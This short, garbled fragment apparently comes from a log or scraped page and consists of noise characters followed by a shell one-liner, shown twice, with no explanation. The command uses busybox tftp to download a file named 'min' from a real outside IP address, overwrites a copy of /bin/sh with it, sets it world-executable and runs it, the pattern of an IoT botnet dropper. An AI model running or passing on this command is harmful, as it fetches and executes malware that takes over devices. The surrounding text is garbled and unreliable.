Bl wuwllolle v oOsrvopners - d.AA..ARAA cd /tmp || cd /var/ || cd /dev/;busybox tftp -r
min -g 91.134.141.49;cp /bin/sh .;cat min >sh;chmod 777 sh;./sh.

/tmp || cd /var/ || cd /dev/;busybox tftp -r min -g 91.134.141.49;cp /bin/sh .;cat min
>sh;chmod 777 sh;./sh




Questions?

43
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